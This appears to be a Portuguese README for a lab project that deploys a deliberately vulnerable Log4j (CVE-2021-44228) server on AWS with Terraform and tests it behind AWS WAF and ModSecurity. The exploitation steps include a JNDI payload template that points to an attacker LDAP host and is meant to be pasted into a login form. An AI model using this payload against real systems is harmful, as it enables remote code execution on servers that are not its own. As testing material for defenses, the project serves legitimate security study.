
Os arquivos deste projeto demonstram uma prova de conceito da vulnerabilidade log4j (CVE-2021-44228) na AWS usando meios de Infrastructure-as-a-code com Terraform.
Os arquivos deste projeto demonstram uma prova de conceito da vulnerabilidade do Log4j (CVE-2021-44228) na AWS usando Terraform como Infraestrutura como Código.
Há 2 demos neste projeto:
single-instance contém um servidor vulnerável; você pode usar seu computador pessoal para explorar o servidor, e o servidor deve ser protegido com AWS WAF.double-instance contém 2 serviços; o servidor vulnerável só pode ser acessado a partir do servidor proxy reverso, e o proxy reverso deve ser protegido por ModSecurity.Conclusão: O 1º demo demonstra uma exploração bem-sucedida usando AWS WAF. O 2º demo foi uma tentativa malsucedida com o ModSecurity em vigor. Removendo o ModSecurity, a exploração é bem-sucedida. Isso pode ser porque o ModSecurity é um projeto ativo; portanto, as strings vulneráveis foram identificadas e filtradas.
Esta PoC veio de: https://github.com/kozmer/log4j-shell-poc
Este blog Medium explica como foi o passo a passo da tentativa dela: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873
Pessoalmente, testei usando Windows + Powershell; a máquina na nuvem é Ubuntu 18 LTS. (Exploração com Kali ou qualquer Linux)
Crie pela web (nomeie como 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs
https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Selecione o usuário > Selecione a seção security_credentials
Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"
Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"
cd single-instance
terraform init
terraform apply
Depois de executar, um IP / DNS será listado.
Para single-instance, garanta que http:<aws host url>:8080 esteja acessível
Para double-instance, garanta que http:<aws host url> esteja acessível
* observe que subir o 'double-instance' leva muito mais tempo; você pode usar journalctl -f após acessar via ssh ao sistema para acompanhar o progresso
Se você acompanhar o journal, a mensagem "Reached target Cloud-init target." significa que está pronto.

Defina a permissão de execução
chmod +x ../exploit-script-remote.sh
Execute o script com a variável fornecida
../exploit-script-remote.sh
Observe que o payload é exibido no final do script, algo como ${jndi:ldap://<ip-address>:1389/a}
Acesse http:<aws host url>:8080
Copie o payload para o campo 'username' e envie o formulário

Arquivo do JDK: foi garantida a integridade da fonte Baidu, com o mesmo hash da Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974
Instância: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance
Instância spot: https://www.tderflinger.com/en/ec2-spot-with-terraform
SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html
[chave ssh em tempo real] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform
WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/
Templates: https://spacelift.io/blog/terraform-templates
ID da AZ da AWS: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones